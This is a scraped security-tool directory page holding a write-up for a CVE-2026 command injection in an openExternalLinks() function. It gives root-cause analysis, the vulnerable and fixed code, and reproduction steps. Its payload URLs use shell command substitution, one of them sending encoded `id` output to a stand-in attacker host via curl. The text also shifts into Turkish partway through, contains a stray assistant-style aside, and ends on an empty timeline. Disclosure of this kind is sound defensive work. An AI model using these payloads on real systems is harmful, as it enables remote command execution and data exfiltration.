Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-115904 — Write-up and proof-of-concept for CVE-2026-115904, an OS command injection in openExternalLinks() via child_process.exec, with root-cause analysis, payloads, and mitigation. | Kitploit
Tools/GitHubGitHub/vulnsvnc/cve-2026-115904
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & EducationPayload Development
GitHubvulnsvnc/cve-2026-115904

CVE-2026-115904

Write-up and proof-of-concept for CVE-2026-115904, an OS command injection in openExternalLinks() via child_process.exec, with root-cause analysis, payloads, and mitigation.

View Repository
119 days agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    618
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    411
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    328
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    314
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    AI powered OSINT engine to discover and map 7,700+ social media identities across the web

    275

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-115904 — OS Command Injection via openExternalLinks() in utils.js

CVE IDCVE-2026-115904
Vulnerability ClassOS Command Injection (CWE-78)
Affected Componentutils.js → openExternalLinks(url)
Affected PlatformLinux (process.platform === "linux" branch)
Attack Vectorchild_process.exec call triggered via user interaction (link click)
CVSS 3.1 Score9.6 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (verified against the official CVE record)
StatusPatched (v2026.9.2410)
Discovery DateSeptember 23, 2026
Vendor Notification Date / CVE RequestSeptember 25, 2026
Patch DateSeptember 25, 2026 (v2026.9.2410)
Public Disclosure DateOctober 28, 2026 (CVE/GHSA publication date)

Note: The official dateReserved field of the CVE record appears as October 23, 2026 — this corresponds to roughly one month after your request date of September 25. This discrepancy may be due to processing time on the CNA (GitHub) side; if you wish, I can also add this note to the timeline.


1. Summary

The openExternalLinks() function in utils.js executes the xdg-open command with child_process.exec() to open an external URL on the Linux platform. The function injects the url value coming from the user/application flow directly into the command line within double quotes, without subjecting it to any shell-safe escaping process. Since the exec() command is executed through a shell (/bin/sh -c), $(...) (command substitution) expressions placed within the URL are interpreted by the shell, allowing arbitrary command execution (RCE).

As a result, any flow within the application that produces a user-clickable/triggerable external link (e.g., messaging, link preview, notifications, email client, etc.) can be turned into operating system command execution via an attacker-controlled URL.

CVSS v3.1 Base Metrics

MetricValue
Attack Vector (AV)Network
Attack Complexity (AC)Low
Privileges Required (PR)None
User Interaction (UI)Required
Scope (S)Changed
Confidentiality (C)High
Integrity (I)High
Availability (A)High
Base Score9.6 (Critical)

2. Vulnerable Code

const openExternalLinks = (url) => {
  if (process.platform === "linux") {
    const newUrl = new URL(url);
    require("child_process").exec(`xdg-open "${newUrl}"`);
  } else {
    shell.openExternal(url).catch(err => {
      let safeUrl = url;
      try {
        const parsed = new URL(url);
        safeUrl = parsed.hostname || url.substring(0, 30) + '...';
      } catch(e) {}

      const customErr = new Error(`[openExternalLinks] Dış bağlantı açılamadı (Hedef: ${safeUrl}). Hata: ${err.message}`);
      customErr.code = err.code;
      throw customErr;
    });
  }
};

3. Root Cause Analysis

  1. The new URL(url) call only verifies whether the URL is syntactically valid; it does not perform any shell meta-character filtering.
  2. The newUrl value (that is, the toString() output of the URL object) is embedded directly into a command as xdg-open "${newUrl}" inside a template string.
  3. child_process.exec() executes the given command inside a shell (/bin/sh -c "..."). Double quotes ("...") do not neutralize all meta-characters in the shell: they prevent whitespace and glob (*) expansion, but command substitution (`cmd` ve $(cmd)) remains active even inside double quotes.
  4. Therefore, when a value containing command substitution is supplied to the url parameter, the command inside the parentheses is executed by the shell before xdg-open runs.

Correct/safe approach: use child_process.execFile("xdg-open", [url]) — execFile passes arguments directly to the process without going through a shell, completely eliminating this class of injection. Alternatively, if child_process.exec is to be used, strict escaping with a library such as shell-quote should be added, along with an allow-list check that restricts the URL scheme to only http(s).

4. Attack Scenario / Impact

  • If the application calls this function in any flow that presents an external link to the user as "click" (chat message, notification, link preview, etc.), an attacker can send a crafted malicious URL to the target.
  • When the target user clicks the link (on a Linux desktop client), the shell executes the $(...) block inside the URL before xdg-open is called.
  • The resulting RCE allows arbitrary command execution in the context of the user running the application (usually the desktop session user): data exfiltration, establishing persistence (e.g., ~/.bashrc, crontab, autostart files), opening a reverse shell, etc.
  • User interaction (UI:R) is required (clicking the link), so it poses a critical risk when combined with social engineering.

Example Malicious URL

http://attacker.example/$(curl$IFS-s$IFSsaldirgan.com/$(id|base64))

Note: Node's WHATWG URL class automatically percent-encodes characters such as spaces, >, <, {, } in the path (%20 etc.), but since $, (, ), |, ; are not encoded, command substitution is not prevented. In payloads that require spaces, the classic $IFS technique is used (parenthesis-free $IFS; it is the shell's word-split separator variable and automatically terminates when it encounters a non-identifier character).

A direct, harmless PoC trigger (for out-of-band proof):

http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)

5. Reproduction Steps

  1. Run the application containing the vulnerable utils.js file in a Linux environment.
  2. Find the in-app flow that triggers the openExternalLinks() function (e.g., clicking a link in a message/notification).
  3. Inject the following PoC URL into this flow (see poc.js):
    http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)
    
  4. When the link is clicked, verify that the file /tmp/cve-2026-115904-poc.txt is created and that it contains the output of the command id.

Verified output (this PoC has been tested in this environment):

[+] BAŞARILI: Command injection doğrulandı!
[+] /tmp/cve-2026-115904-poc.txt içeriği:
uid=0(root) gid=0(root) groups=0(root)

xdg-open'ın kendisinin başarısız olması (tarayıcı/handler bulunamadığı için) önemli değildir — command substitution zaten xdg-open çağrılmadan önce, shell komut satırını ayrıştırırken tetiklenir. 5. Komut çalıştırma doğrulandıktan sonra, isteğe bağlı olarak kontrollü bir dinleyici (listener) ile out-of-band veri sızdırma (örn. curl ile kendi sunucunuza istek) de gösterilebilir.

6. PoC

Bkz. poc.js — zafiyetli fonksiyonun izole, kontrollü bir kopyasını çalıştırarak enjeksiyonu yerel ortamda güvenli şekilde kanıtlar (yalnızca zararsız id/touch gibi komutlarla, dışarıya istek atmadan).

7. Mitigasyon / Düzeltme Önerisi

const { execFile } = require("child_process");

const openExternalLinks = (url) => {
  const parsed = new URL(url); // throws on invalid URL
  if (!["http:", "https:"].includes(parsed.protocol)) {
    throw new Error("Desteklenmeyen URL şeması");
  }

  if (process.platform === "linux") {
    execFile("xdg-open", [parsed.toString()], (err) => {
      if (err) {
        // hata yönetimi
      }
    });
  } else {
    shell.openExternal(url).catch(err => { /* ... mevcut hata yönetimi ... */ });
  }
};
  • By using execFile instead of exec, the argument is completely prevented from passing through the shell.
  • As an additional defense layer, an allow-list has been added that permits only the http/https schemes (this also prevents abuse of schemes such as file:, javascript:, etc.).

8. Timeline

Download Tool